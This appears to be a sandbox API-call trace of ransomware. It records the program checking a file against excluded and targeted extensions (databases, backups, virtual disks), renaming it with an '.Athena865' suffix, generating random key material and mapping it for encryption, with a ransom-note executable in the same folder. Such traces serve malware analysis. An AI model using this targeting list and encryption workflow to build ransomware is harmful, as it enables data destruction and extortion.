[0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0054.087] lstrlenW (lpString="desktop.ini") returned 11 [0054.087] lstrcpyW (in: lpString1=0x241e89a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0054.087] lstrlenW (lpString="desktop.ini") returned 11 [0054.087] lstrlenW (lpString="Athena865") returned 9 [0054.087] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0054.087] lstrlenW (lpString=".dll") returned 4 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0054.087] lstrlenW (lpString=".lnk") returned 4 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0054.087] lstrlenW (lpString=".ini") returned 4 [0054.087] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0054.087] lstrlenW (lpString=".sys") returned 4 [0054.088] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0054.088] lstrlenW (lpString="desktop.ini") returned 11 [0054.088] lstrlenW (lpString="bak") returned 3 [0054.088] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0054.088] lstrlenW (lpString="ba_") returned 3 [0054.088] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0054.088] lstrlenW (lpString="dbb") returned 3 [0054.088] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0054.088] lstrlenW (lpString="vmdk") returned 4 [0054.088] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0054.088] lstrlenW (lpString="rar") returned 3 [0054.088] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0054.088] lstrlenW (lpString="zip") returned 3 [0054.088] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0054.088] lstrlenW (lpString="tgz") returned 3 [0054.088] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0054.088] lstrlenW (lpString="vbox") returned 4 [0054.088] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0054.088] lstrlenW (lpString="vdi") returned 3 [0054.088] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0054.088] lstrlenW (lpString="vhd") returned 3 [0054.088] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0054.088] lstrlenW (lpString="vhdx") returned 4 [0054.088] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0054.088] lstrlenW (lpString="avhd") returned 4 [0054.088] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0054.088] lstrlenW (lpString="db") returned 2 [0054.088] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0054.088] lstrlenW (lpString="db2") returned 3 [0054.088] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0054.088] lstrlenW (lpString="db3") returned 3 [0054.088] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0054.088] lstrlenW (lpString="dbf") returned 3 [0054.089] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0054.089] lstrlenW (lpString="mdf") returned 3 [0054.089] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0054.089] lstrlenW (lpString="mdb") returned 3 [0054.089] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0054.089] lstrlenW (lpString="sql") returned 3 [0054.089] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0054.089] lstrlenW (lpString="sqlite") returned 6 [0054.089] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0054.089] lstrlenW (lpString="sqlite3") returned 7 [0054.089] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0054.089] lstrlenW (lpString="sqlitedb") returned 8 [0054.089] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0054.089] lstrlenW (lpString="xml") returned 3 [0054.089] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0054.089] lstrlenW (lpString="$er") returned 3 [0054.089] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0054.089] lstrlenW (lpString="4dd") returned 3 [0054.089] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0054.089] lstrlenW (lpString="4dl") returned 3 [0054.089] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0054.089] lstrlenW (lpString="^^^") returned 3 [0054.089] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0054.089] lstrlenW (lpString="abs") returned 3 [0054.089] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0054.089] lstrlenW (lpString="abx") returned 3 [0054.089] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0054.089] lstrlenW (lpString="accdb") returned 5 [0054.089] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0054.089] lstrlenW (lpString="accdc") returned 5 [0054.089] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0054.089] lstrlenW (lpString="accde") returned 5 [0054.089] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0054.089] lstrlenW (lpString="accdr") returned 5 [0054.089] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0054.090] lstrlenW (lpString="accdt") returned 5 [0054.090] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0054.090] lstrlenW (lpString="accdw") returned 5 [0054.090] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0054.090] lstrlenW (lpString="accft") returned 5 [0054.090] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0054.090] lstrlenW (lpString="adb") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.090] lstrlenW (lpString="adb") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.090] lstrlenW (lpString="ade") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0054.090] lstrlenW (lpString="adf") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0054.090] lstrlenW (lpString="adn") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0054.090] lstrlenW (lpString="adp") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0054.090] lstrlenW (lpString="alf") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0054.090] lstrlenW (lpString="ask") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0054.090] lstrlenW (lpString="btr") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0054.090] lstrlenW (lpString="cat") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0054.090] lstrlenW (lpString="cdb") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0054.090] lstrlenW (lpString="ckp") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0054.090] lstrlenW (lpString="cma") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0054.090] lstrlenW (lpString="cpd") returned 3 [0054.090] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0054.090] lstrlenW (lpString="dacpac") returned 6 [0054.091] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0054.091] lstrlenW (lpString="dad") returned 3 [0054.091] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0054.091] lstrlenW (lpString="dadiagrams") returned 10 [0054.091] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0054.091] lstrlenW (lpString="daschema") returned 8 [0054.091] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0054.091] lstrlenW (lpString="db-journal") returned 10 [0054.091] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0054.091] lstrlenW (lpString="db-shm") returned 6 [0054.091] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0054.091] lstrlenW (lpString="db-wal") returned 6 [0054.091] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0054.091] lstrlenW (lpString="dbc") returned 3 [0054.091] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0054.091] lstrlenW (lpString="dbs") returned 3 [0054.091] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0054.091] lstrlenW (lpString="dbt") returned 3 [0054.091] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0054.091] lstrlenW (lpString="dbv") returned 3 [0054.091] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0054.091] lstrlenW (lpString="dbx") returned 3 [0054.091] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0054.091] lstrlenW (lpString="dcb") returned 3 [0054.091] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0054.091] lstrlenW (lpString="dct") returned 3 [0054.091] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0054.091] lstrlenW (lpString="dcx") returned 3 [0054.091] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0054.091] lstrlenW (lpString="ddl") returned 3 [0054.091] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0054.091] lstrlenW (lpString="dlis") returned 4 [0054.091] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0054.091] lstrlenW (lpString="dp1") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0054.092] lstrlenW (lpString="dqy") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0054.092] lstrlenW (lpString="dsk") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0054.092] lstrlenW (lpString="dsn") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0054.092] lstrlenW (lpString="dtsx") returned 4 [0054.092] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0054.092] lstrlenW (lpString="dxl") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0054.092] lstrlenW (lpString="eco") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0054.092] lstrlenW (lpString="ecx") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0054.092] lstrlenW (lpString="edb") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0054.092] lstrlenW (lpString="epim") returned 4 [0054.092] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0054.092] lstrlenW (lpString="fcd") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0054.092] lstrlenW (lpString="fdb") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0054.092] lstrlenW (lpString="fic") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0054.092] lstrlenW (lpString="flexolibrary") returned 12 [0054.092] lstrlenW (lpString="fm5") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0054.092] lstrlenW (lpString="fmp") returned 3 [0054.092] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0054.092] lstrlenW (lpString="fmp12") returned 5 [0054.092] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0054.092] lstrlenW (lpString="fmpsl") returned 5 [0054.092] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0054.092] lstrlenW (lpString="fol") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0054.093] lstrlenW (lpString="fp3") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0054.093] lstrlenW (lpString="fp4") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0054.093] lstrlenW (lpString="fp5") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0054.093] lstrlenW (lpString="fp7") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0054.093] lstrlenW (lpString="fpt") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0054.093] lstrlenW (lpString="frm") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0054.093] lstrlenW (lpString="gdb") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.093] lstrlenW (lpString="gdb") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.093] lstrlenW (lpString="grdb") returned 4 [0054.093] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0054.093] lstrlenW (lpString="gwi") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0054.093] lstrlenW (lpString="hdb") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0054.093] lstrlenW (lpString="his") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0054.093] lstrlenW (lpString="ib") returned 2 [0054.093] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0054.093] lstrlenW (lpString="idb") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0054.093] lstrlenW (lpString="ihx") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0054.093] lstrlenW (lpString="itdb") returned 4 [0054.093] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0054.093] lstrlenW (lpString="itw") returned 3 [0054.093] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0054.093] lstrlenW (lpString="jet") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0054.094] lstrlenW (lpString="jtx") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0054.094] lstrlenW (lpString="kdb") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0054.094] lstrlenW (lpString="kexi") returned 4 [0054.094] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0054.094] lstrlenW (lpString="kexic") returned 5 [0054.094] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0054.094] lstrlenW (lpString="kexis") returned 5 [0054.094] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0054.094] lstrlenW (lpString="lgc") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0054.094] lstrlenW (lpString="lwx") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0054.094] lstrlenW (lpString="maf") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0054.094] lstrlenW (lpString="maq") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0054.094] lstrlenW (lpString="mar") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0054.094] lstrlenW (lpString="marshal") returned 7 [0054.094] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0054.094] lstrlenW (lpString="mas") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0054.094] lstrlenW (lpString="mav") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0054.094] lstrlenW (lpString="maw") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0054.094] lstrlenW (lpString="mdbhtml") returned 7 [0054.094] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0054.094] lstrlenW (lpString="mdn") returned 3 [0054.094] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0054.094] lstrlenW (lpString="mdt") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0054.095] lstrlenW (lpString="mfd") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0054.095] lstrlenW (lpString="mpd") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0054.095] lstrlenW (lpString="mrg") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0054.095] lstrlenW (lpString="mud") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0054.095] lstrlenW (lpString="mwb") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0054.095] lstrlenW (lpString="myd") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0054.095] lstrlenW (lpString="ndf") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0054.095] lstrlenW (lpString="nnt") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0054.095] lstrlenW (lpString="nrmlib") returned 6 [0054.095] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0054.095] lstrlenW (lpString="ns2") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0054.095] lstrlenW (lpString="ns3") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0054.095] lstrlenW (lpString="ns4") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0054.095] lstrlenW (lpString="nsf") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0054.095] lstrlenW (lpString="nv") returned 2 [0054.095] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0054.095] lstrlenW (lpString="nv2") returned 3 [0054.095] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0054.095] lstrlenW (lpString="nwdb") returned 4 [0054.095] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0054.096] lstrlenW (lpString="nyf") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0054.096] lstrlenW (lpString="odb") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.096] lstrlenW (lpString="odb") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.096] lstrlenW (lpString="oqy") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0054.096] lstrlenW (lpString="ora") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0054.096] lstrlenW (lpString="orx") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0054.096] lstrlenW (lpString="owc") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0054.096] lstrlenW (lpString="p96") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0054.096] lstrlenW (lpString="p97") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0054.096] lstrlenW (lpString="pan") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0054.096] lstrlenW (lpString="pdb") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0054.096] lstrlenW (lpString="pdm") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0054.096] lstrlenW (lpString="pnz") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0054.096] lstrlenW (lpString="qry") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0054.096] lstrlenW (lpString="qvd") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0054.096] lstrlenW (lpString="rbf") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0054.096] lstrlenW (lpString="rctd") returned 4 [0054.096] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0054.096] lstrlenW (lpString="rod") returned 3 [0054.096] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0054.097] lstrlenW (lpString="rodx") returned 4 [0054.097] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0054.097] lstrlenW (lpString="rpd") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0054.097] lstrlenW (lpString="rsd") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0054.097] lstrlenW (lpString="sas7bdat") returned 8 [0054.097] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0054.097] lstrlenW (lpString="sbf") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0054.097] lstrlenW (lpString="scx") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0054.097] lstrlenW (lpString="sdb") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0054.097] lstrlenW (lpString="sdc") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0054.097] lstrlenW (lpString="sdf") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0054.097] lstrlenW (lpString="sis") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0054.097] lstrlenW (lpString="spq") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0054.097] lstrlenW (lpString="te") returned 2 [0054.097] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0054.097] lstrlenW (lpString="teacher") returned 7 [0054.097] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0054.097] lstrlenW (lpString="tmd") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0054.097] lstrlenW (lpString="tps") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0054.097] lstrlenW (lpString="trc") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.097] lstrlenW (lpString="trc") returned 3 [0054.097] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.097] lstrlenW (lpString="trm") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0054.098] lstrlenW (lpString="udb") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0054.098] lstrlenW (lpString="udl") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0054.098] lstrlenW (lpString="usr") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0054.098] lstrlenW (lpString="v12") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0054.098] lstrlenW (lpString="vis") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0054.098] lstrlenW (lpString="vpd") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0054.098] lstrlenW (lpString="vvv") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0054.098] lstrlenW (lpString="wdb") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0054.098] lstrlenW (lpString="wmdb") returned 4 [0054.098] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0054.098] lstrlenW (lpString="wrk") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0054.098] lstrlenW (lpString="xdb") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0054.098] lstrlenW (lpString="xld") returned 3 [0054.098] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0054.098] lstrlenW (lpString="xmlff") returned 5 [0054.098] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0054.098] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Videos\\desktop.ini.Athena865") returned 62 [0054.098] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Videos\\desktop.ini" (normalized: "c:\\documents and settings\\default\\videos\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Videos\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\videos\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0054.099] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Videos\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\videos\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.099] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=504) returned 1 [0054.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0054.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0054.100] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0054.100] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.100] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.100] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x154 [0054.103] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000 [0054.103] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0054.104] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.104] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc78 [0054.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc78 | out: hHeap=0x4f0000) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0054.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.105] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.105] CloseHandle (hObject=0x154) returned 1 [0054.105] CloseHandle (hObject=0x17c) returned 1 [0054.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0054.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0054.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.105] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.105] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.105] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, 